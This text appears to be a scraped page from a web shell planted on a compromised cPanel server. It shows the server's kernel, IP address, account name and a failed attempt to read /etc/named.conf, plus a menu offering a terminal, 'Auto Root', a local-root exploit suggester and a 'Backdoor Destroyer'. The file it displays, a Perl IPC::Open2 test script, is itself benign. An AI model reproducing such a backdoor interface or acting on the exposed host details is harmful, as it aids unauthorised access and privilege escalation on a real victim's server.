Linux cpanel2.daytoncreative.net 2.6.32-754.29.2.el6.x86_64 #1 SMP Tue May 12 17:39:04 UTC 2020 x86_64
Apache/2.4.43 (cPanel) OpenSSL/1.1.1g mod_bwlimited/1.4
Server IP : 70.62.220.67 & Your IP : 216.73.216.193
Domains :
Cant Read [ /etc/named.conf ]
User : michaelgreg
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
log /
perl-5.20.2 /
ext /
IPC-Open3 /
t /
Delete
Unzip
Name
Size
Permission
Date
Action
IPC-Open2.t
1.63
KB
-r--r--r--
2014-12-27 11:48
IPC-Open3.t
4.97
KB
-r--r--r--
2014-12-27 11:49
fd.t
1
KB
-r--r--r--
2014-12-27 11:48
Save
Rename
#!./perl -w use Config; BEGIN { require Test::More; if (!$Config{'d_fork'} # open2/3 supported on win32 && $^O ne 'MSWin32' && $^O ne 'NetWare') { Test::More->import(skip_all => 'open2/3 not available with MSWin32+Netware'); exit 0; } # make warnings fatal $SIG{__WARN__} = sub { die @_ }; } use strict; use IPC::Open2; use Test::More tests => 15; my $perl = $^X; sub cmd_line { if ($^O eq 'MSWin32' || $^O eq 'NetWare') { return qq/"$_[0]"/; } else { return $_[0]; } } STDOUT->autoflush; STDERR->autoflush; my $pid = open2('READ', 'WRITE', $perl, '-e', cmd_line('print scalar <STDIN>')); cmp_ok($pid, '>', 1, 'got a sane process ID'); ok(print WRITE "hi kid\n"); like(<READ>, qr/^hi kid\r?\n$/); ok(close(WRITE), "closing WRITE: $!"); ok(close(READ), "closing READ: $!"); my $reaped_pid = waitpid $pid, 0; is($reaped_pid, $pid, "Reaped PID matches"); is($?, 0, '$? should be zero'); { package SKREEEK; my $pid = IPC::Open2::open2('KAZOP', 'WRITE', $perl, '-e', main::cmd_line('print scalar <STDIN>')); main::cmp_ok($pid, '>', 1, 'got a sane process ID'); main::ok(print WRITE "hi kid\n"); main::like(<KAZOP>, qr/^hi kid\r?\n$/); main::ok(close(WRITE), "closing WRITE: $!"); main::ok(close(KAZOP), "closing READ: $!"); my $reaped_pid = waitpid $pid, 0; main::is($reaped_pid, $pid, "Reaped PID matches"); main::is($?, 0, '$? should be zero'); } $pid = eval { open2('READ', '', $perl, '-e', cmd_line('print scalar <STDIN>')) }; like($@, qr/^open2: Modification of a read-only value attempted at /, 'open2 faults read-only parameters correctly') or do {waitpid $pid, 0};